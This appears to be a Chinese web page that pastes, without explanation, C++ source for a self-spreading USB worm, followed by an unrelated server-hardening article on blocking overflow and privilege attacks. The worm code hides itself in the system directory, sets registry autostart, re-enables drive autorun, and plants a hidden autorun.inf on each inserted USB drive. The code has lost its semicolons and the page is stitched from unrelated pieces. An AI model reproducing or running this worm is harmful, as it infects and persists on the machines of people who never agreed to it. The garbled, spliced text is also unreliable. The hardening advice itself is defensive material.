
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM)//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask)
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path)//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path)//Get the virus's path
//BOOL FindU(TCHAR *u)//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path)//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd)//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path)//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path)//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet()//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path)//在U盘下生成autorun.inf文件
BOOL FindSelf()//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH]//the virus's path
TCHAR U[2]//保存U盘的盘符
TCHAR szSysPath[MAX_PATH]//system path
//constant
const TCHAR *szExeName="bbbbb.exe"
const TCHAR *szSysName="aaaaa.exe"
const TCHAR *szAutoRunFile="AutoRun.inf"
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU")
HWND hwnd
MSG msg
WNDCLASS wndclass
wndclass.style =0
wndclass.lpfnWndProc =WndProc
wndclass.cbClsExtra =0
wndclass.cbWndExtra =0
wndclass.hInstance =hInstance
wndclass.hIcon =0
wndclass.hCursor =0
wndclass.hbrBackground =0
wndclass.lpszMenuName =NULL
wndclass.lpszClassName =szAppName
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR)
return 0
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL)
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg)
DispatchMessage (&msg)
}
return msg.wParam
}
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb ->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask)//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK)
CopyToUAndSet()//拷到u盘
}
break
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break
}
return LRESULT()
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':'
GetSysPath(szSysPath)//得到系统路径
SetTimer(hwnd,TIMER,5000,0)//启动计时器
GetSelfPath(szExePath)//得到自身的路径
return 0
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0)//检测有没有插入设备消息
else
{
CopyToSysAndSet(hwnd)//拷到系统盘并自启动
}
return 0
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam)
return 0
case WM_DESTROY:
KillTimer(hwnd,TIMER)
PostQuitMessage(0)
return 0
}
return DefWindowProc(hwnd, message, wParam, lParam)
}
TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i
for (i = 0i <26++i)
{
if (unitmask &0x1)//看该驱动器的状态是否发生了变化
break
unitmask = unitmask >>1
}
return (i + 'A')
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE
}
else
return FALSE
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH)//得到系统路径
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH]
lstrcpy(szPath,szSysPath)
lstrcat(szPath,"\\")
lstrcat(szPath,szSysName)//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE)
RegAutoRun(szPath)
return SetFileAttrib(szPath)
}
else
{
if(!FindSelf())//检测自己有没有运行
{
//MessageBox(0,szExePath,szPath,MB_OK)
WinExec(szPath,SW_HIDE)//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0)//结束自己
}
}
return FALSE
}
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result
result=PathFileExists(path)
if(result==1)
return TRUE
else
return FALSE
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN)
}
BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
{
HKEY hkey
DWORD v=0
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey)
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD))
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path))
RegCloseKey(hkey)
return TRUE
}
else
return FALSE
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH]
lstrcpy(szPath,U)
lstrcat(szPath,"\\")
lstrcat(szPath,szExeName)//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH]
lstrcpy(szAutoFile,U)
lstrcat(szAutoFile,"\\")
lstrcat(szAutoFile,szAutoRunFile)
if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile)
SetFileAttrib(szAutoFile)
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE)
return SetFileAttrib(szPath)
}
return FALSE
}
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout
fout.open(path)
if(fout)
{
fout<<"[AutoRun]"<<endl
fout<<"open="<<szExeName<<" e"<<endl
fout<<"shellexecute="<<szExeName<<" e"<<endl
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl
fout<<"shell=Auto"<<endl
fout.close()
return TRUE
}
return FALSE
}
BOOL FindSelf(){
PROCESSENTRY32 pe
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0)
pe.dwSize=sizeof(PROCESSENTRY32)
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot)
return TRUE
}
}while(Process32Next(hShot,&pe))
}
CloseHandle(hShot)
return FALSE
}
在频频恶意攻击用户、系统漏洞层出不穷的今天,作为网络治理员、系统治理员虽然在服务器的安全上都下了不少功夫,诸如及时打上系统安全补丁、进行一些常规的安全配置,但有时仍不安全。因此必须恶意用户入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外,下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。一、如何防止溢出类攻击
1、尽最大的可能性将系统的漏洞补丁都打完,最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。假如您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级。
2、停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实假如WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。
3、启动TCP/IP端口的过滤,仅打开常用的TCP如21、80、25、110、3389等端口假如安全要求级别高一点可以将UDP端口关闭,当然假如这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中"只答应"TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可其它无用均不开放。
4、启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反d类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,可以到服安讨论Search "IPSec",就 会有N多关于IPSec的应用资料..)
5、删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制要害系统文件、命令及文件夹:
(1).黑客通常在溢出得到shell后,来用诸如net.exe net1.exe ipconfig.exe user.exe query.exe regedit.exe regsvr32.exe 来达到进一步控制服务器的目的如:加账号了,克隆治理员了等等这里可以将这些命令程序删除或者改名。(注重:在删除与改名时先停掉文件复制服务(FRS)或者先将 %windir%\system32\dllcache\下的对应文件删除或改名。)
(2).也或者将这些.exe文件移动到指定的文件夹,这样也方便以后治理员自己使用。
(3).访问控制表列ACLS控制:找到%windir%\system32下找到cmd.exe、cmd32.exe net.exe net1.exe ipconfig.exe tftp.exe ftp.exe user.exe reg.exe regedit.exe regedt32.exe regsvr32.exe 这些黑客常用的文件,在“属性”→“安全”中对他们进行访问的ACLs用户进 行定义,诸如只给administrator有权访问,假如需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用,那么只需要将system用户在ACLs中进行拒绝访问即可。
(4).假如觉得在GUI下面太麻烦的话,也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理 文件来执行以及对这些命令进行修改。(具体用户自己参见cacls /? 帮助进行,由于这里的命令太多就不一一列举写成批处理代码给各位了!!)
(5).对磁盘如C/D/E/F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的,另外非凡是win2k,对Winnt、Winnt\System、Document and Setting等文件夹。
6、进行注册表的修改禁用命令解释器: (假如您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行,通过修改注册表,可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。具体方法:新建一个双字节(REG_DWord)执行 HKEY_CURRENT_USER\Software\PolicIEs\ Microsoft\Windows\System\DisableCMD,修改其值为1,命令解释器和批处理文件都不能被运行。修改其值为2,则只是禁止命令解释器的运行,反之将值改为0,则是打开CMS命令解释器。假如您赚手动太麻烦的话,请将下面的代码保存为*.reg文件,然后导入。
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000001
7、对一些以System权限运行的系统服务进行降级处理。(诸如:将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以System权限运行的服务或者应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了...但前提是需要对这些基本运行状态、调用API等相关情况较为了解. )
其实,关于防止如Overflow溢出类攻击的办法除了用上述的几点以外,还有N多种办法:诸如用组策略进行限制,写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了,以及对Shellcode较有研究由于此文仅仅是讨论简单的解决办法,因此其它办法就不在这里详述了。
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)